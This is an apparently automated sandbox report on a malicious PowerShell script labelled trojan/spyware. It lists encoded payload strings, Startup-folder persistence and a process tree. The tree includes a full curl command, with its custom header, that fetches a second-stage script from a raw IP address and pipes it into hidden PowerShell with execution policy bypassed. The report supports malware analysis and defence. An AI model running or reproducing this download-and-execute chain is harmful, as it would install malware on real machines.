'IRQ9Cw9OEAk5NAkfW0JeNSExPk9udR8pBz4bDh0fMi4DOWpkIRBmXlJaJC8RNAR2CAwxCCYaVTcHRmFGBBg7B2IWd25+CnVuI3xtUzcFCU1mXnliOWpEF255dyN3fFZHSXdhNERtfkJzf1VxYGhCYFZdRC5CMFk/IixfFGZtel/eiu6B16OTq7q2goDJ4ruarbjZ2tyj073egLSCpcSWvKeinurcifSvm7WCv4SRpOb48eXv0eXU7qOJgrGitdGFj/b53cyqxtnVrLOrwufk+fzmndGA8OzIq6K99snS0vOGjt3Ys/nKjor5xNuD16HYzcXhy9XVzp6clbaB753IizloZlRCam9jXx1cKQIIOmAbFDArNjlbAiciCCtmCxofPjxHWkwTDjIfDG9wCxR8JgEBbx4YCFpMcH5tfVNUB0t5BTgKXx4yYVRifE55Xn1CQRZXZkdcA2EuLzpVdndoc1cuYDdBX3kWPC1kZVpNdUI8XXVvREoOPipePTdVeXRhva6Hs7W05s/P3szk5bK4yuqC8v7Y74X3p7OFrK6V0oe+vqOIo6OVkbCMsfyRub2XgfvPwZiyqoeHwfPz+7ClsvnDwMDFlaez8aCunIr/s6m7sKalnc7d9tz488OQ9NrV+Mj6r9z66/L+9pCb+szC7PvT3cr2w+nQ55TW+e6Z/944DxBoZVtNYlhrCE92RBVUZGdbCE8zAy5eEDFtNx8nbzYADiAvBzgaRiEbFggUMx4KIn8iaxpoeHpSW09KdCU5CQl0Bj5WJipUZhNXYEIsRWB/ZH9bN1xnZXBPRU5WCX5+WlR4SEdwTz5MLi4aLn0PHT1TOzMiMBgRHS09E0ZWMKO8rOedrcrql7iBtISGvpvt99T8/fHB0ffwpa3Z543/ze3YsMTI6t27y6enqZmEqPrMytvf1MLB8aLhz8r0peS0t4nUy8jD/b6VvvKlqZmJv7i2hJK6v7ON0fbtz8D74vPFxe7prrOvr76shIWJuamfmJakspjh88abvurW4uj8Ah8sJQUuAQMGQk1FaXd9VGRnWwhPYWBeA0Jubw03AQkjIzwNAiQNICwnYWxiSFRca0VEei9uQkFxImFPSCgVITYTSnJ5d2dCd3xIbkpuTWNtYAkpYhAsRDg0FiFPPTMTGnIAQnpeRUBeYHB4WFRAX1pibRMMERo7AmoaFjAHbR/tzfiSpd/PmL+osrGkqK64j5LL+tvF+f78ztz09fnJ2c/IxJimt5aNk7CshbmTtpWQnIuBq+7Mgf3DqdvR8cSsoKyOuden8vj9y/zfkOvi+cXK+NXhzMaCrpTruYWWu4+CuKmGtIe/rtvu+/z66u77z/L82qnf2tHF9tDRnre6hUkaWXdyTB1cfH9DEFULMyoYLBE6Hyw1NysTH0BHYHNTWjJCTmhfaCdoWHNgSX0REVNMVHVbXFIwLGN3Kns0ZQ9xZGhPYVphC3tOTgBbQUpuW3ZqCGt/XF9wcQ1XTEddcw1tQWB9WHJ0QGRtf3BNBz09QBAqPxB2R0V4W1siO1VVh52/p6qtnZ6lgJ2QpNuso7Kk0/3zsL62ic7qjb2zttzvs5OGjqmDuI/tj5Gzv5iYq76zupSUhs/x6538i5mtnOrr9vzo5dSa/oyw2Kyg0uf93ojj/p739/SP6/f+w7H01eXHjP7p5fr31M/jwef628vjyMX1+6nIy9japbLS+99rTiZhCR0NNC0GTVsnUDMyNng1KjolPAQHck1UTHJ3e3c3HwopBhIYXBsZAwAPOB4sS2MTD2pMQxgNNxYtMGEualhOVWVDZn1Xbl5TSBt0fn5Zb1AFZQtqbktsF3J4dn5xNn0OYV1XRXoMeUBraWAkNzQyEio+EycacGN7RXBjTumho5+koqWzt/2+j6q3+p61jJKSnbW3p4+ajZSQkp2Siqa+noCLjrTaiIS2lez5vZyl5ISf1tKpvZnaisiI4pTi3/X4mry8tJO9vIKHxOLVxuDOqYOD7Ob20efYhd/93Inz0fjp4LTwkszJ4vTErZD86tPk8/H47IL+/sDjzYrBWismL1J/HRUiPXBZExIHLyMbelUyCwtjIig9TxgeQkYiAiFKFBM9B0RlGSwoZhstJB8aaw0vWwlbaVhidwg8LXITTU8TR0VSb0JAU2kEF1BIBhs/ZlpnS08HUXZIF0xuRUtuRntCIkJSdnhdW3ZlSW9lfndTFAwtLU8faUtBckmPjpuPgKLn/dm/lay7qZ2trI6gs6bf/7qPltPCmci8t+mZj6CVwPGz/pn6gPGQ6IKlvr63t6uWgYmljt3s//HJidqZ5+Dug+n+6ari5JrC38rS/rbG7PnLvfuE3MjgiOTGxdnLzLLq9/Lqxobgzu32zeXhw8vVwcjfx72r16DDuS0MGDwRFhUCNy40TFw9PyBwNSgMdg5YNTMaEWEHDzQrWnAYBzkrZwM6FwI8WAkJJV8RHnxCPgoDBx4lOCQUWj8AMBsIIRV0THdZZmlSImNjeV8GQhNcDWpBYElOSUlTRg1Na29HQU4xXS5vUkJtQkZ+JWM0fSZEUD9FYkk6QkVdoZOzuZPxuY+Q6aWulJ+N2MfQgKKuh8uh3eOJ+/GBtrKv+5KJ74SGi/6YhomywoWatJTdub2Vl5fmj67nmpGIqtLw5+nI4NngjNb7wPPFxYT0+5H/jo369cry3eXr/8KpgN/909n8zL7gydPJ9M791NDdrLmd+Nq4/tvznvzNxa8OQTMLMjQNOAwxKBUwSFUSOiUYPSt6KxkjMUA7GRAaBiAMOz4VHzF+ZklHZ1Y+TkJ8CTsnAnkFMCAlEhYxBR0RYGludQ4sd0VrSiNsaGpDUm1JB1cDXXhNLjleTlF9WkYpP2p5enxgRHJ8SWgJOntNeV1wcgBAMH5PJ3JjeCc3cdCer5fO/52OqK/dvqzXuJeltY2Kv5zNsKHLk6qQoLulrZjO74yEsLyDoICMn5qmpuWVpsn3h7+vsbGJi+GSkea2vKSopbGwjtP
Source: 5.2.powershell.exe.29dddab6a18.6.raw.unpack, Knvbl.cs	Base64 encoded string: 'IRQ9Cw9OEAk5NAkfW0JeNSExPk9udR8pBz4bDh0fMi4DOWpkIRBmXlJaJC8RNAR2CAwxCCYaVTcHRmFGBBg7B2IWd25+CnVuI3xtUzcFCU1mXnliOWpEF255dyN3fFZHSXdhNERtfkJzf1VxYGhCYFZdRC5CMFk/IixfFGZtel/eiu6B16OTq7q2goDJ4ruarbjZ2tyj073egLSCpcSWvKeinurcifSvm7WCv4SRpOb48eXv0eXU7qOJgrGitdGFj/b53cyqxtnVrLOrwufk+fzmndGA8OzIq6K99snS0vOGjt3Ys/nKjor5xNuD16HYzcXhy9XVzp6clbaB753IizloZlRCam9jXx1cKQIIOmAbFDArNjlbAiciCCtmCxofPjxHWkwTDjIfDG9wCxR8JgEBbx4YCFpMcH5tfVNUB0t5BTgKXx4yYVRifE55Xn1CQRZXZkdcA2EuLzpVdndoc1cuYDdBX3kWPC1kZVpNdUI8XXVvREoOPipePTdVeXRhva6Hs7W05s/P3szk5bK4yuqC8v7Y74X3p7OFrK6V0oe+vqOIo6OVkbCMsfyRub2XgfvPwZiyqoeHwfPz+7ClsvnDwMDFlaez8aCunIr/s6m7sKalnc7d9tz488OQ9NrV+Mj6r9z66/L+9pCb+szC7PvT3cr2w+nQ55TW+e6Z/944DxBoZVtNYlhrCE92RBVUZGdbCE8zAy5eEDFtNx8nbzYADiAvBzgaRiEbFggUMx4KIn8iaxpoeHpSW09KdCU5CQl0Bj5WJipUZhNXYEIsRWB/ZH9bN1xnZXBPRU5WCX5+WlR4SEdwTz5MLi4aLn0PHT1TOzMiMBgRHS09E0ZWMKO8rOedrcrql7iBtISGvpvt99T8/fHB0ffwpa3Z543/ze3YsMTI6t27y6enqZmEqPrMytvf1MLB8aLhz8r0peS0t4nUy8jD/b6VvvKlqZmJv7i2hJK6v7ON0fbtz8D74vPFxe7prrOvr76shIWJuamfmJakspjh88abvurW4uj8Ah8sJQUuAQMGQk1FaXd9VGRnWwhPYWBeA0Jubw03AQkjIzwNAiQNICwnYWxiSFRca0VEei9uQkFxImFPSCgVITYTSnJ5d2dCd3xIbkpuTWNtYAkpYhAsRDg0FiFPPTMTGnIAQnpeRUBeYHB4WFRAX1pibRMMERo7AmoaFjAHbR/tzfiSpd/PmL+osrGkqK64j5LL+tvF+f78ztz09fnJ2c/IxJimt5aNk7CshbmTtpWQnIuBq+7Mgf3DqdvR8cSsoKyOuden8vj9y/zfkOvi+cXK+NXhzMaCrpTruYWWu4+CuKmGtIe/rtvu+/z66u77z/L82qnf2tHF9tDRnre6hUkaWXdyTB1cfH9DEFULMyoYLBE6Hyw1NysTH0BHYHNTWjJCTmhfaCdoWHNgSX0REVNMVHVbXFIwLGN3Kns0ZQ9xZGhPYVphC3tOTgBbQUpuW3ZqCGt/XF9wcQ1XTEddcw1tQWB9WHJ0QGRtf3BNBz09QBAqPxB2R0V4W1siO1VVh52/p6qtnZ6lgJ2QpNuso7Kk0/3zsL62ic7qjb2zttzvs5OGjqmDuI/tj5Gzv5iYq76zupSUhs/x6538i5mtnOrr9vzo5dSa/oyw2Kyg0uf93ojj/p739/SP6/f+w7H01eXHjP7p5fr31M/jwef628vjyMX1+6nIy9japbLS+99rTiZhCR0NNC0GTVsnUDMyNng1KjolPAQHck1UTHJ3e3c3HwopBhIYXBsZAwAPOB4sS2MTD2pMQxgNNxYtMGEualhOVWVDZn1Xbl5TSBt0fn5Zb1AFZQtqbktsF3J4dn5xNn0OYV1XRXoMeUBraWAkNzQyEio+EycacGN7RXBjTumho5+koqWzt/2+j6q3+p61jJKSnbW3p4+ajZSQkp2Siqa+noCLjrTaiIS2lez5vZyl5ISf1tKpvZnaisiI4pTi3/X4mry8tJO9vIKHxOLVxuDOqYOD7Ob20efYhd/93Inz0fjp4LTwkszJ4vTErZD86tPk8/H47IL+/sDjzYrBWismL1J/HRUiPXBZExIHLyMbelUyCwtjIig9TxgeQkYiAiFKFBM9B0RlGSwoZhstJB8aaw0vWwlbaVhidwg8LXITTU8TR0VSb0JAU2kEF1BIBhs/ZlpnS08HUXZIF0xuRUtuRntCIkJSdnhdW3ZlSW9lfndTFAwtLU8faUtBckmPjpuPgKLn/dm/lay7qZ2trI6gs6bf/7qPltPCmci8t+mZj6CVwPGz/pn6gPGQ6IKlvr63t6uWgYmljt3s//HJidqZ5+Dug+n+6ari5JrC38rS/rbG7PnLvfuE3MjgiOTGxdnLzLLq9/Lqxobgzu32zeXhw8vVwcjfx72r16DDuS0MGDwRFhUCNy40TFw9PyBwNSgMdg5YNTMaEWEHDzQrWnAYBzkrZwM6FwI8WAkJJV8RHnxCPgoDBx4lOCQUWj8AMBsIIRV0THdZZmlSImNjeV8GQhNcDWpBYElOSUlTRg1Na29HQU4xXS5vUkJtQkZ+JWM0fSZEUD9FYkk6QkVdoZOzuZPxuY+Q6aWulJ+N2MfQgKKuh8uh3eOJ+/GBtrKv+5KJ74SGi/6YhomywoWatJTdub2Vl5fmj67nmpGIqtLw5+nI4NngjNb7wPPFxYT0+5H/jo369cry3eXr/8KpgN/909n8zL7gydPJ9M791NDdrLmd+Nq4/tvznvzNxa8OQTMLMjQNOAwxKBUwSFUSOiUYPSt6KxkjMUA7GRAaBiAMOz4VHzF+ZklHZ1Y+TkJ8CTsnAnkFMCAlEhYxBR0RYGludQ4sd0VrSiNsaGpDUm1JB1cDXXhNLjleTlF9WkYpP2p5enxgRHJ8SWgJOntNeV1wcgBAMH5PJ3JjeCc3cdCer5fO/52OqK/dvqzXuJeltY2Kv5zNsKHLk6qQoLulrZjO74yEsLyDoICMn5qmpuWVpsn3h7+vsbGJi+GSkea2vKSopbGwjtP
Source: 5.2.powershell.exe.29dddb632e0.3.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: 5.2.powershell.exe.29df4110000.12.raw.unpack, Knvbl.cs	Base64 encoded string: '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
Source: nfy3200k.dll.7.dr, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winPS1@16/18@1/2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\App.url

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Q5K38PhTmmcj2+k2j8DpuVvh9ZIMLJuxELkYByZGDvrGw54cNpyVFQUstlYPj3i/Y8eEOiPnJFCzM2yqgjC5F4RKcz7ZjLOfTdtYNpWDiwk=
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6452:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lfnvbu32.mp3.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Pack.bat"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\sfqbr.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Pack.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES617A.tmp" "c:\Users\user\AppData\Local\Temp\nfy3200k\CSCAAE263D2780F40D49B69A6171B4A2D61.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Pack.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES617A.tmp" "c:\Users\user\AppData\Local\Temp\nfy3200k\CSCAAE263D2780F40D49B69A6171B4A2D61.TMP"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdatauser.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
